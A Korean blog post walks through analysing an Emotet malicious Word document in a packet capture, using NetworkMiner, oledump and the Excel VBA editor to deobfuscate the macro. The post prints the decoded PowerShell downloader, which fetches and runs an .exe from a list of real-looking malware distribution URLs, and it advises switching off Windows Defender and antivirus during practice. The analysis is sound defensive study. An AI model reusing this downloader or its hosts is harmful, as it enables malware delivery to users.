2021. 2. 28. 17:45ㆍ정보보안/패킷 포렌식
분석에 필요한 OLEdump 도구
Emotet 악성코드
Emotet 악성코드는 2014년 처음으로 발견된 금융정보 탈취 악성코드로
이 악성코드는 주로 피싱 메일을 통해 전파되며 문서 파일(doc, xlsx) 형태의 악성코드를 말한다.
네트워크마이너를 통해 세션 번호 3에서 10.3.11.101(Client)가 119.82.24.91(Server)로 접속해 INSTR90441067810095.doc.xml 파일을 다운로드했음을 확인
파일의 xml 확장자를 제거한 후 oledump.py 도구로 확인해보기
oledump는 문서형 악성코드를 분석하는 도구로 가장 상단의 툴을 다운로드 한 후
다음과 같이 사용하면 된다.
처음에는 명령어를 실행해도 반응이 없어 삽질을하다가 윈도우 디펜서가 켜져있어서 그렇다는걸 깨닫고
윈도우 디펜서를 끄고 진행했다.
(실습을 진행할 때 윈도우 디펜서와 백신을 잠시 끄고 진행하는것을 추천한다.)
위 그림에서 M이라고 표시된게 매크로를 포함하는 부분이다(여기서 매크로는 악성코드를 실행하는 목적을 가짐)
매크로를 확인하기 위해 엑셀의 vb 개발 도구를 이용한다.
파일 - 옵션 - 리본 사용자 지정 - 개발도구를 체크한 뒤 개발도구 탭에서 Visual Basic을 클릭
각 매크로를 3.txt, 10.txt에 저장
저장된 파일의 내용을 모듈에 복사해넣기
최상단의 Attribute는 에러를 발생시키므로 제거하기
우측 상단을 보면 모듈의 프로시저와 함수의 정보를 제공한다
autoopen이라는 프로시저 1개와 나머지 function으로 구성되어 있고
autoopen은 파일 실행 시 자동으로 실행되는 부분이다.
대부분의 악성스크립트는 난독화를 사용하기 때문에 불필요한 코드를 삽입해 분석을 어렵게 하는데
분석을 하기 위해서는 상단의 프로시저와 함수를 차례때로 선택하면서 이름을 복사하고 검색해 다른 위치에서
프로시저와 함수가 호출이 되는지를 확인해야한다.
확인을 해보면 다음과 같은 정보를 얻을 수 있다.
1. BAAAAB는 사용되는 곳이 없다.
2. HZDC1UxA는 사용되는 곳이 없다.
3. iQBxAQA는 추적해보면 PZAQcQZ 함수의 파라미터로 사용되고 있다.
4. kDAX4C는 PZAQcQZ 함수의 파라미터로 사용되고 있다.
5. mA11UcA는 사용되는 곳이 없다.
6. PXAACZA는 PZAQcQZ 함수의 파라미터로 사용되고 있다.
7. PZAQcQZ는 PZAQcQZ 함수의 파라미터로 사용되고 있다.
8. rAxQ_cX는 PZAQcQZ 함수의 파라미터로 사용되고 있다.
종합해보면 모든 함수는 PZAQcQZ 함수의 파라미터( oBAoAKoD)로 전달되고 있다.
이 oBAoAKoD 값이 뭔지 확인하기 위해 PZAQcQZ 함수 맨뒤에
Sheet1.Range("A1").Value = oBAoAKoD 를 추가해
Sheet1 의 A1 셀에 oBAoAKoD 값을 저장하도록 한다.
그리고 F5를 눌러 스크립트를 실행해보자.
다음과 같은 powershell 실행 명령어를 얻을 수 있다.
여기서 powershell 실행 명령어인 powershell -nop -enc 를 제외하고 문자열들을 디코딩해보면 다음과 같다
$KAcDQoUA=('LXUG_DU'+'U');$AUQxBD=new-object Net.WebClient;$EAAAQ4=('htt'+'p'+':'+'//84.28'+'.1'+'8'+'5.76/wor'+'d'+'pres'+'s/iBA/'+'@ht'+'tp://ar'+'tecau'+'tomate'+'n.co'+'m/'+'wp-conte'+'nt'+'/z'+'0/@'+'h'+'ttp'+':'+'//s'+'timuno'+'l.ru/wp-admin/j'+'qi6'+'/'+'@ht'+'t'+'p://www.gym.'+'m'+'ar'+'vi'+'n.tech/css/Xz46'+'/@'+'http:/'+'/di'+'gi'+'talprintshop'+'.'+'co'+'.za/k'+'g'+'yh'+'f1s/3'+'WP'+'/').Split('@');$WQxBBcQA=('XD'+'XAA'+'GZ');$cBBC4GA = ('94'+'2');$SUGwA1=('U'+'oA1A'+'A');$Q_kAU1A=$env:userprofile+''+$cBBC4GA+('.ex'+'e');foreach($LkAC4A in $EAAAQ4){try{$AUQxBD.DownloadFile($LkAC4A, $Q_kAU1A);$NUAAkAk=('rx'+'G'+'QQBA');If ((Get-Item $Q_kAU1A).length -ge 40000) {Invoke-Item $Q_kAU1A;$fAkQC1A4=('lAA'+'UAU');break;}}catch{}}$GoD4AA=('N'+'ZGA1ABB');
코드를 자세히 분석해볼 수 는 없지만 '와 +를 전부 제거해보고 분석해보니 다음과 같은 정보를 얻을 수 있었다.
$AUQxBD=new-object Net.WebClient;
$EAAAQ4=http://84.28.185.76/wordpress/iBA/@http://artecautomaten.com/wp-content/z0/@htttp://stimunol.ru/wpadmin/jqi6/@http://www.gym.marvin.tech/css/Xz46/ ....
이 정보와 네트워크 마이너의 정보를 같이 보며 분석해본 결과
BFaW.exe 파일을 다운로드 받고 있으며 223 Frame을 와이어샤크에서 TCP Stream Follow로 확인해보면 다음과 같다.
BFaW.exe 파일을 hybrid-analysis에 가서 분석해보면 다음과 같이 확실히 악성 파일임을 확인할 수 있다.
그 다음으로 463 Frame 부터 세션을 확인해보자.
쿠키값이 매우길고 수상하다. 암호화된 값을 쿠키값으로 하여 전송하는것으로 보인다.
와이어 샤크로 확인해보면 프로토콜로 bittorrent를 사용한것을 확인할 수 있는데 이는 파일의 불법공유에 자주
악용된다.
bittorrent 프로토콜은 데이터 전송시 4가지 절차를 갖는데 다음과 같다.
1. Handshake
2. Have Piece
3. Request Piece
4. Piece 데이터 전송
자세한 내용은 다음 카페에서 확인할 수 있다.
토렌토 트래픽 분석
대한민국 모임의 시작, 네이버 카페
cafe.naver.com
'정보보안 > 패킷 포렌식' 카테고리의 다른 글
Rocky 악성코드를 포함한 패킷 푼석 (0) | 2021.03.01 |
---|---|
인증서 형태의 악성코드를 포함한 패킷 분석 (0) | 2021.02.28 |
악성코드 패킷 탐지 (0) | 2021.02.26 |
악성 패킷 분석 2 (0) | 2021.02.26 |
악성 패킷 분석 (0) | 2021.02.26 |